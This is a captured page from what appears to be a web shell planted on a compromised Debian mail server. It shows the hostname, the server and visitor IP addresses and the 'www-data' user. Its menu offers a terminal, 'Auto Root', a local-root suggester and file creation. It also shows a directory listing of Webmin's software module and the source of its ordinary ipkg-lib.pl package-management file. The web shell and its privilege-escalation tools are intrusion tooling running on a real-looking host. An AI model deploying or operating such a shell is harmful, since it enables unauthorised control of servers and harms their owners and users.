Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
webmin /
software /
Delete
Unzip
Name
Size
Permission
Date
Action
help
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
images
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
lang
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
CHANGELOG
3.03
KB
-rw-r--r--
2026-07-17 21:17
aix-lib.pl
19.56
KB
-rwxr-xr-x
2026-07-17 21:17
apk-lib.pl
8.52
KB
-rw-r--r--
2026-07-17 21:17
apt-lib.pl
16.07
KB
-rwxr-xr-x
2026-07-17 21:17
apt_upgrade.cgi
1.99
KB
-rwxr-xr-x
2026-07-17 21:22
cgi_args.pl
524
B
-rwxr-xr-x
2026-07-17 21:17
close.cgi
263
B
-rwxr-xr-x
2026-07-17 21:22
config-aix
30
B
-rw-r--r--
2026-07-17 21:17
config-alpine-linux
37
B
-rw-r--r--
2026-07-17 21:17
config-cobalt-linux
30
B
-rw-r--r--
2026-07-17 21:17
config-coherent-linux
30
B
-rw-r--r--
2026-07-17 21:17
config-corel-linux
33
B
-rw-r--r--
2026-07-17 21:17
config-cygwin
33
B
-rw-r--r--
2026-07-17 21:17
config-debian-linux
51
B
-rw-r--r--
2026-07-17 21:17
config-freebsd
54
B
-rw-r--r--
2026-07-17 21:17
config-freebsd-8.4-ALL
52
B
-rw-r--r--
2026-07-17 21:17
config-gentoo-linux
33
B
-rw-r--r--
2026-07-17 21:17
config-hpux
31
B
-rw-r--r--
2026-07-17 21:17
config-mandrake-linux
30
B
-rw-r--r--
2026-07-17 21:17
config-msc-linux
30
B
-rw-r--r--
2026-07-17 21:17
config-netbsd
34
B
-rw-r--r--
2026-07-17 21:17
config-open-linux
30
B
-rw-r--r--
2026-07-17 21:17
config-openSUSE-Linux-15.0-ALL
30
B
-rw-r--r--
2026-07-17 21:17
config-openbsd
34
B
-rw-r--r--
2026-07-17 21:17
config-openmamba-linux
48
B
-rw-r--r--
2026-07-17 21:17
config-openserver
33
B
-rw-r--r--
2026-07-17 21:17
config-redhat-linux
48
B
-rw-r--r--
2026-07-17 21:17
config-slackware-linux
36
B
-rw-r--r--
2026-07-17 21:17
config-solaris
33
B
-rw-r--r--
2026-07-17 21:17
config-suse-linux
30
B
-rw-r--r--
2026-07-17 21:17
config-syno-linux
50
B
-rw-r--r--
2026-07-17 21:17
config-trustix-linux
30
B
-rw-r--r--
2026-07-17 21:17
config-turbo-linux
30
B
-rw-r--r--
2026-07-17 21:17
config-united-linux
30
B
-rw-r--r--
2026-07-17 21:17
config-unixware
33
B
-rw-r--r--
2026-07-17 21:17
config-windows
30
B
-rw-r--r--
2026-07-17 21:17
config.info
541
B
-rw-r--r--
2026-07-17 21:17
config.info.ca
554
B
-rw-r--r--
2026-07-17 21:17
config.info.cs
372
B
-rw-r--r--
2026-07-17 21:17
config.info.de
523
B
-rw-r--r--
2026-07-17 21:17
config.info.es
320
B
-rw-r--r--
2026-07-17 21:17
config.info.fr
135
B
-rw-r--r--
2026-07-17 21:17
config.info.ja
428
B
-rw-r--r--
2026-07-17 21:17
config.info.ko
409
B
-rw-r--r--
2026-07-17 21:17
config.info.ms
411
B
-rw-r--r--
2026-07-17 21:17
config.info.nl
415
B
-rw-r--r--
2026-07-17 21:17
config.info.no
424
B
-rw-r--r--
2026-07-17 21:17
config.info.pl
392
B
-rw-r--r--
2026-07-17 21:17
config.info.ru
175
B
-rw-r--r--
2026-07-17 21:17
config.info.sv
224
B
-rw-r--r--
2026-07-17 21:17
config.info.tr
123
B
-rw-r--r--
2026-07-17 21:17
config.info.uk
174
B
-rw-r--r--
2026-07-17 21:17
config.info.zh
122
B
-rw-r--r--
2026-07-17 21:17
config.info.zh_TW
125
B
-rw-r--r--
2026-07-17 21:17
csw-lib.pl
2.66
KB
-rwxr-xr-x
2026-07-17 21:17
cygwin-lib.pl
22.64
KB
-rwxr-xr-x
2026-07-17 21:17
debian-lib.pl
9.23
KB
-rwxr-xr-x
2026-07-17 21:17
delete_file.cgi
340
B
-rwxr-xr-x
2026-07-17 21:22
delete_pack.cgi
1.71
KB
-rwxr-xr-x
2026-07-17 21:22
delete_packs.cgi
1.82
KB
-rwxr-xr-x
2026-07-17 21:22
do_install.cgi
2.67
KB
-rwxr-xr-x
2026-07-17 21:22
edit_pack.cgi
1.13
KB
-rwxr-xr-x
2026-07-17 21:22
emerge-lib.pl
7.83
KB
-rwxr-xr-x
2026-07-17 21:17
file_info.cgi
2.09
KB
-rwxr-xr-x
2026-07-17 21:22
find.cgi
1.63
KB
-rwxr-xr-x
2026-07-17 21:22
freebsd-lib.pl
8.26
KB
-rwxr-xr-x
2026-07-17 21:17
hpux-lib.pl
8.42
KB
-rwxr-xr-x
2026-07-17 21:17
index.cgi
3.3
KB
-rwxr-xr-x
2026-07-17 21:22
install_pack.cgi
4.8
KB
-rwxr-xr-x
2026-07-17 21:22
ipkg-close.cgi
269
B
-rwxr-xr-x
2026-07-17 21:22
ipkg-edit_pack.cgi
1.45
KB
-rwxr-xr-x
2026-07-17 21:22
ipkg-lib.pl
8.04
KB
-rwxr-xr-x
2026-07-17 21:17
ipkg-open.cgi
243
B
-rwxr-xr-x
2026-07-17 21:22
ipkg-tree.cgi
4
KB
-rwxr-xr-x
2026-07-17 21:22
ipkg_upgrade.cgi
937
B
-rwxr-xr-x
2026-07-17 21:22
list_pack.cgi
1.73
KB
-rwxr-xr-x
2026-07-17 21:22
log_parser.pl
1.34
KB
-rwxr-xr-x
2026-07-17 21:17
module.info
497
B
-rw-r--r--
2026-07-17 21:17
module.info.ar
0
B
-rw-r--r--
2026-07-17 21:17
module.info.ar.auto
170
B
-rw-r--r--
2026-07-17 21:17
module.info.bg
0
B
-rw-r--r--
2026-07-17 21:17
module.info.bg.auto
214
B
-rw-r--r--
2026-07-17 21:17
module.info.ca
116
B
-rw-r--r--
2026-07-17 21:17
module.info.ca.auto
21
B
-rw-r--r--
2026-07-17 21:17
module.info.cs
30
B
-rw-r--r--
2026-07-17 21:17
module.info.cs.auto
114
B
-rw-r--r--
2026-07-17 21:17
module.info.da
0
B
-rw-r--r--
2026-07-17 21:17
module.info.da.auto
124
B
-rw-r--r--
2026-07-17 21:17
module.info.de
106
B
-rw-r--r--
2026-07-17 21:17
module.info.de.auto
21
B
-rw-r--r--
2026-07-17 21:17
module.info.el
0
B
-rw-r--r--
2026-07-17 21:17
module.info.el.auto
220
B
-rw-r--r--
2026-07-17 21:17
module.info.es
29
B
-rw-r--r--
2026-07-17 21:17
module.info.es.auto
106
B
-rw-r--r--
2026-07-17 21:17
module.info.eu
0
B
-rw-r--r--
2026-07-17 21:17
module.info.eu.auto
129
B
-rw-r--r--
2026-07-17 21:17
module.info.fa
0
B
-rw-r--r--
2026-07-17 21:17
module.info.fa.auto
215
B
-rw-r--r--
2026-07-17 21:17
module.info.fi
0
B
-rw-r--r--
2026-07-17 21:17
module.info.fi.auto
130
B
-rw-r--r--
2026-07-17 21:17
module.info.fr
29
B
-rw-r--r--
2026-07-17 21:17
module.info.fr.auto
117
B
-rw-r--r--
2026-07-17 21:17
module.info.hr
0
B
-rw-r--r--
2026-07-17 21:17
module.info.hr.auto
138
B
-rw-r--r--
2026-07-17 21:17
module.info.hu
38
B
-rw-r--r--
2026-07-17 21:17
module.info.hu.auto
108
B
-rw-r--r--
2026-07-17 21:17
module.info.it
0
B
-rw-r--r--
2026-07-17 21:17
module.info.it.auto
134
B
-rw-r--r--
2026-07-17 21:17
module.info.ja
43
B
-rw-r--r--
2026-07-17 21:17
module.info.ja.auto
157
B
-rw-r--r--
2026-07-17 21:17
module.info.ko
34
B
-rw-r--r--
2026-07-17 21:17
module.info.ko.auto
128
B
-rw-r--r--
2026-07-17 21:17
module.info.ms
104
B
-rw-r--r--
2026-07-17 21:17
module.info.ms.auto
18
B
-rw-r--r--
2026-07-17 21:17
module.info.nl
27
B
-rw-r--r--
2026-07-17 21:17
module.info.nl.auto
104
B
-rw-r--r--
2026-07-17 21:17
module.info.no
26
B
-rw-r--r--
2026-07-17 21:17
module.info.no.auto
107
B
-rw-r--r--
2026-07-17 21:17
module.info.pl
121
B
-rw-r--r--
2026-07-17 21:17
module.info.pl.auto
21
B
-rw-r--r--
2026-07-17 21:17
module.info.pt
28
B
-rw-r--r--
2026-07-17 21:17
module.info.pt.auto
102
B
-rw-r--r--
2026-07-17 21:17
module.info.pt_BR
0
B
-rw-r--r--
2026-07-17 21:17
module.info.pt_BR.auto
139
B
-rw-r--r--
2026-07-17 21:17
module.info.ru
30
B
-rw-r--r--
2026-07-17 21:17
module.info.ru.auto
205
B
-rw-r--r--
2026-07-17 21:17
module.info.sk
0
B
-rw-r--r--
2026-07-17 21:17
module.info.sk.auto
145
B
-rw-r--r--
2026-07-17 21:17
module.info.sv
21
B
-rw-r--r--
2026-07-17 21:17
module.info.sv.auto
100
B
-rw-r--r--
2026-07-17 21:17
module.info.tr
28
B
-rw-r--r--
2026-07-17 21:17
module.info.tr.auto
107
B
-rw-r--r--
2026-07-17 21:17
module.info.uk
0
B
-rw-r--r--
2026-07-17 21:17
module.info.uk.auto
202
B
-rw-r--r--
2026-07-17 21:17
module.info.zh
18
B
-rw-r--r--
2026-07-17 21:17
module.info.zh.auto
91
B
-rw-r--r--
2026-07-17 21:17
module.info.zh_TW
24
B
-rw-r--r--
2026-07-17 21:17
module.info.zh_TW.auto
97
B
-rw-r--r--
2026-07-17 21:17
msi-lib.pl
8.63
KB
-rwxr-xr-x
2026-07-17 21:17
open.cgi
238
B
-rwxr-xr-x
2026-07-17 21:22
openbsd-lib.pl
4.98
KB
-rwxr-xr-x
2026-07-17 21:17
pkg-lib.pl
2.49
KB
-rw-r--r--
2026-07-17 21:17
pkgadd-lib.pl
10.26
KB
-rwxr-xr-x
2026-07-17 21:17
pkgadd-no-ask
164
B
-rw-r--r--
2026-07-17 21:17
pkgsrc-lib.pl
7.41
KB
-rw-r--r--
2026-07-17 21:17
ports-lib.pl
3.46
KB
-rw-r--r--
2026-07-17 21:17
ports_upgrade.cgi
512
B
-rwxr-xr-x
2026-07-17 21:22
rhn-lib.pl
3.01
KB
-rwxr-xr-x
2026-07-17 21:17
rhn.cgi
1.3
KB
-rwxr-xr-x
2026-07-17 21:22
rhn_check.cgi
1.84
KB
-rwxr-xr-x
2026-07-17 21:22
rpm-lib.pl
13.23
KB
-rwxr-xr-x
2026-07-17 21:17
rpmfind.cgi
2.11
KB
-rwxr-xr-x
2026-07-17 21:22
search.cgi
2.29
KB
-rwxr-xr-x
2026-07-17 21:22
slackware-lib.pl
7.13
KB
-rwxr-xr-x
2026-07-17 21:17
software-lib.pl
9.15
KB
-rwxr-xr-x
2026-07-17 21:17
tree.cgi
3.79
KB
-rwxr-xr-x
2026-07-17 21:22
urpmi-lib.pl
2.13
KB
-rwxr-xr-x
2026-07-17 21:17
urpmi_upgrade.cgi
850
B
-rwxr-xr-x
2026-07-17 21:22
view.cgi
931
B
-rwxr-xr-x
2026-07-17 21:22
yum-lib.pl
13.46
KB
-rwxr-xr-x
2026-07-17 21:17
yum_upgrade.cgi
919
B
-rwxr-xr-x
2026-07-17 21:22
Save
Rename
# ipkg-lib.pl # Functions for synology IPKG package management use POSIX; chop($system_arch = `uname -m`); $has_update_system = 1; $no_package_install = 1; if (&use_pkg_ng()) { # check whether the opkg manager is available and use that. $ipkg = "opkg"; } else { $ipkg = "ipkg"; # If not, default to the ipkg manager tools } sub use_pkg_ng { return 0 if (-x "/opt/bin/opkg"); } sub list_package_system_commands { return ($ipkg); } # list_packages([package]*) # Fills the array %packages with a list of all packages # ipkg extension: if ALL is specified list also uninstalled packages sub list_packages { local $i = 0; local $arg, $all; if ($_[0] ne "ALL") { $arg = join(" ", map { quotemeta($_) } @_); } else { $all=$_[0]; } %packages = ( ); &open_execute_command(PKGINFO, "$ipkg info $arg", 1, 1); local %temp = (); while(<PKGINFO>) { $_ =~ s/\r|\n//g; if ($_) { local ($param, $val) = split(/: /, $_); $temp{$param}=$val; } else { next if ((!$temp{'Installed-Time'} && $all ne "ALL") && !$arg ); $packages{$i,'name'} = $temp{'Package'}; $packages{$i,'version'} = $temp{'Version'}; $packages{$i,'desc'} = $temp{'Description'}; $packages{$i,'install'} = $temp{'Installed-Time'}; $packages{$i,'arch'} = $temp{'Architecture'}; $packages{$i,'vendor'} = $temp{'Maintainer'}; # generate categories from names, Section $temp{'Package'} =~ m/^(..[^-0-9]*)/; local $cat= $1; if ($cat =~ /^(asterisk|audio|auto|core|compression|diff|lib|gnu|gtk|perl|net|ncurses|py)/) { $cat=ucfirst($1); } elsif ($cat =~ /^(amavisd|cyrus|esmtp|fetchmail|imap|mail|mini|mutt|mpop|msmtp|offlineimap|pop|postfix|postgrey|procmail|putmail|up|qpopper|sendmail|xmail)$/ ) { $cat = "Mail"; } elsif ($cat =~ /^(arc|bzip|cabextract|cpio|freeze|gzip|lha|lzo|p7zip|tar|upx|unarj|xz|zip|zlib|zoo|unzip|unrar)$/) { $cat = "Compression"; } elsif ($cat =~ /^x|motif/ && $desc =~ /X |Xorg|X11|XDMCP|Xinerama|Athena|Motif/) { $cat = "X11"; } elsif ($cat =~ /^([^v]+sh|sharutils)$/) { $cat = "Shell"; } elsif ($cat =~ /^(ed|gawk|sed|vim)$/) { $cat = "Editor"; } elsif ($cat =~ /^(apache|cherokee|hiawatha|lighttpd|minihttpd|mod|thttpd)$|^shell/) { $cat = "Web"; } elsif ($temp{'Section'} =~ /^(doc|lang|lib|net|sys|text|util)/ ) { $cat=ucfirst($1); } else { $cat=ucfirst($temp{'Section'}); } $packages{$i,'class'} = $cat; $temp{'Installed-Time'}=undef; $i++; } } close(PKGINFO); return $i; } # package_info(package) # Returns an array of package information in the order # name, class, description, arch, version, vendor, installtime sub package_info { local $qm = quotemeta($_[0]); local $pos=&list_packages($_[0]); return () if (!$pos--); local $upgrade = $pos ? &backquote_command("$ipkg list-upgradable | grep $qm 2>&1", 1) : undef; local @rv = ( $_[0] ); push(@rv, $packages{$pos, 'class'}); push(@rv, $packages{$pos, 'desc'}); push(@rv, $packages{$pos, 'arch'}); push(@rv, $packages{$pos, 'version'}); push(@rv, $packages{$pos, 'vendor'}); if ($pos) { $upgrade =~ /.* - (.*)/; push(@rv, $text{'IPKG_update_avail'} ." ".$1); } else { push(@rv, $packages{$pos, 'install'} ? ctime($packages{0, 'install'}) : $text{'IPKG_not_installed'}); } push(@rv, $packages{$pos, 'install'} ? "" : false); push(@rv, $packages{$pos, 'install'} ? "" : false); return @rv; } # virtual_package_info(package) # Returns an array of package information for a virtual package, usually called # if "package_info" returns nothing. sub virtual_package_info { return ( ); } # check_files(package) # Fills in the %files array with information about the files belonging # to some package. Values in %files are path type user group mode size error sub check_files { local $i = 0; local $file; local $qm = quotemeta($_[0]); &open_execute_command(PKGINFO, "$ipkg files $qm", 1, 1); while($file = <PKGINFO>) { $file =~ s/\r|\n//g; next if ($file =~ /^Package /); next if ($file !~ /^\//); local $real = &translate_filename($file); local @st = stat($real); $files{$i,'path'} = $file; $files{$i,'type'} = -l $real ? 3 : -d $real ? 1 : 0; $files{$i,'user'} = getpwuid($st[4]); $files{$i,'group'} = getgrgid($st[5]); $files{$i,'mode'} = sprintf "%o", $st[2] & 07777; $files{$i,'size'} = $st[7]; $files{$i,'link'} = readlink($real); $i++; } return $i; } # installed_file(file) # Given a filename, fills %file with details of the given file and returns 1. # If the file is not known to the package system, returns 0 # Usable values in %file are path type user group mode size packages sub installed_file { local (%packages, $file, $i, @pkgin); local $n = &list_packages(); for($i=0; $i<$n; $i++) { local $qm = quotemeta($packages{$i,'name'}); &open_execute_command(PKGINFO, "$ipkg files $qm", 1,1); while($file = <PKGINFO>) { next if ($file =~ /^Package /); $file =~ s/\r|\n//g; if ($file eq $_[0]) { # found it push(@pkgin, $packages{$i,'name'}); } } close(PKGINFO); } if (@pkgin) { local $real = &translate_filename($_[0]); local @st = stat($real); $file{'path'} = $_[0]; $file{'type'} = -l $real ? 3 : -d $real ? 1 : 0; $file{'user'} = getpwuid($st[4]); $file{'group'} = getgrgid($st[5]); $file{'mode'} = sprintf "%o", $st[2] & 07777; $file{'size'} = $st[7]; $file{'link'} = readlink($real); $file{'packages'} = join(" ", @pkgin); return 1; } else { return 0; } } # install_package(file, package) # Installs the package in the given file, with options from %in sub install_package { local $qm = quotemeta($_[1]); local $out = &backquote_logged("$ipkg install $qm 2>&1"); if ($?) { return "<pre>$out</pre>"; } return undef; } # delete_package(package) # Totally remove some package sub delete_package { local $qm = quotemeta($_[0]); local $out = &backquote_logged("$ipkg remove $qm 2>&1"); if ($?) { return "<pre>$out</pre>"; } return undef; } sub package_system { return &text('bsd_manager', "SYNOLOGY"); } sub package_help { return $ipkg; } sub list_update_system_commands { return $ipkg; } # update_system_install([package]) # Install some package with IPKG sub update_system_install { local $update = $_[0] || $in{'update'}; local (@rv, @newpacks); local $cmd = "$ipkg install"; print &text('IPKG_install', "<tt>$cmd</tt>"),"\n"; print "<pre data-installer>"; &additional_log('exec', undef, "$cmd $update"); local $qm = join(" ", map { quotemeta($_) } split(/\s+/, $update)); &open_execute_command(CMD, "$cmd $qm", 2); while(<CMD>) { s/\r|\n//g; if (/Installing\s+(\S+)\s+/) { # Found a package local $pkg = $1; $pkg =~ s/\-\d.*//; # remove version push(@rv, $pkg); } print &html_escape($_."\n"); } close(CMD); print "</pre>\n"; if ($?) { print "$text{'IPKG_failed'}<p>\n"; return ( ); } else { print "$text{'IPKG_ok'}<p>\n"; return &unique(@rv); } } # update_system_form() # Shows a form for updating all packages on the system sub update_system_form { print &ui_subheading($text{'IPKG_form'}); print &ui_buttons_start(); print &ui_form_start("ipkg_upgrade.cgi"); print &ui_submit($text{'IPKG_update'}, "update"),"<br>\n"; print &ui_submit($text{'IPKG_upgrade'}, "upgrade"); print &ui_form_end(), "</td><td align=\"right\">"; print &ui_form_start("ipkg-tree.cgi"); print &ui_submit($text{'IPKG_index_tree'}); print &ui_form_end(); print &ui_buttons_end(); } # update_system_resolve(name) # Converts a standard package name like apache, sendmail or squid into # the name used by YUM. sub update_system_resolve { local ($name) = @_; return $name eq "dhcpd" ? "dhcp-server" : $name eq "mysql" ? "mariadb" : $name eq "openldap" ? "openldap openldap-servers" : $name eq "postgresql" ? "postgresql postgresql-server" : $name eq "samba" ? "samba-client samba-server" : $name; } # update_system_available() # Returns a list of package names and versions that are available from IPKG # including updated versions sub update_system_available { local @rv; &open_execute_command(PKGINFO, "$ipkg list-upgradable", 1, 1); while(<PKG>) { s/\r|\n//g; if (/^\s*(.+?) - (.+?) - (.+)/) { local $pkg = { 'name' => $1, 'version' => $3 }; push(@rv, $pkg); } } close(PKG); return @rv; }